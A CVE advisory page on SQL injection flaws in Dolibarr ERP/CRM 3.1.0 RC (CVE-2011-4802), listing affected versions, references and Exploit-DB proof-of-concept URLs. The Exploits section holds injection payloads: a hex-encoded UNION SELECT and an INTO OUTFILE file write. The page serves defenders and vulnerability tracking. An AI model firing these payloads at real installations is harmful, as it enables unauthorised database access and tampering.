CVE-2011-4802
Description
Multiple SQL injection vulnerabilities in Dolibarr 3.1.0 RC and probably earlier allow remote authenticated users to execute arbitrary SQL commands via the (1) sortfield, (2) sortorder, and (3) sall parameters to user/index.php and (b) user/group/index.php; the id parameter to (4) info.php, (5) perms.php, (6) param_ihm.php, (7) note.php, and (8) fiche.php in user/; and (9) rowid parameter to admin/boxes.php.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Dolibarr ERP/CRM 3.1.0 - '/admin/boxes.php?rowid' SQL Injection
source: https://www.securityfocus.com/bid/50777/info
Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected.
http://www.example.com/admin/boxes.php?action=delete&rowid=SQL_CODE_HERE
Dolibarr ERP/CRM 3.1.0 - '/user/index.php' Multiple SQL Injections
source: https://www.securityfocus.com/bid/50777/info
Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected.
http://www.example.com/user/index.php?sall=1%%27%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%201,version%28%29, 3,4,5,6,7,8,9,10,11,12,13,14%20--%20
http://www.example.com/user/index.php?begin=search_user=&sall=&&sortfield=SQL_CODE_HERE
http://www.example.com/user/index.php?begin=search_user=&sall=&sortfield=u.login&sortorder=SQL_CO DE_HERE
http://www.example.com/user/group/index.php?begin=search_user=&sall=&&sortfield=SQL_CODE_HERE
http://www.example.com/user/group/index.php?begin=search_user=&sall=&sortfield=u.login&sortorder= SQL_CODE_HERE
http://www.example.com/user/group/index.php?sall=SQL_CODE_HERE
Dolibarr ERP/CRM 3.1.0 - '/user/info.php?id' SQL Injection
source: https://www.securityfocus.com/bid/50777/info
Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected.
http://www.example.com/user/info.php?id=1 INTO OUTFILE '../../../tmp/example'
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| dolibarr | dolibarr_erp\/crm | {"endIncluding":"3.1.0"} | |
| dolibarr | dolibarr_erp\/crm | 2.5.0 | |
| dolibarr | dolibarr_erp\/crm | 2.6.0 | |
| dolibarr | dolibarr_erp\/crm | 2.6.1 | |
| dolibarr | dolibarr_erp\/crm | 2.7.0 | |
| dolibarr | dolibarr_erp\/crm | 2.7.1 | |
| dolibarr | dolibarr_erp\/crm | 2.8.0 | |
| dolibarr | dolibarr_erp\/crm | 2.8.1 | |
| dolibarr | dolibarr_erp\/crm | 2.9.0 | |
| dolibarr | dolibarr_erp\/crm | 3.0.0 | |
| dolibarr | dolibarr_erp\/crm | 3.0.1 | |
References
- http://osvdb.org/77340
- http://osvdb.org/77341
- http://osvdb.org/77342
- http://osvdb.org/77343
- http://osvdb.org/77344
- http://osvdb.org/77345
- http://osvdb.org/77346
- http://osvdb.org/77347
- http://www.securityfocus.com/archive/1/520619/100/0/threaded
- http://www.securityfocus.com/bid/50777
- https://github.com/Dolibarr/dolibarr/commit/63820ab37537fdff842539425b2bf2881f0d8e91
- https://github.com/Dolibarr/dolibarr/commit/762f98ab4137749d0993612b4e3544a4207e78a1
- https://github.com/Dolibarr/dolibarr/commit/c539155d6ac2f5b6ea75b87a16f298c0090e535a
- https://github.com/Dolibarr/dolibarr/commit/d08d28c0cda1f762a47cc205d4363de03df16675
- https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_dolibarr.html
- http://osvdb.org/77340
- http://osvdb.org/77341
- http://osvdb.org/77342
- http://osvdb.org/77343
- http://osvdb.org/77344
- http://osvdb.org/77345
- http://osvdb.org/77346
- http://osvdb.org/77347
- http://www.securityfocus.com/archive/1/520619/100/0/threaded
- http://www.securityfocus.com/bid/50777
CWEs
CWE-89
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.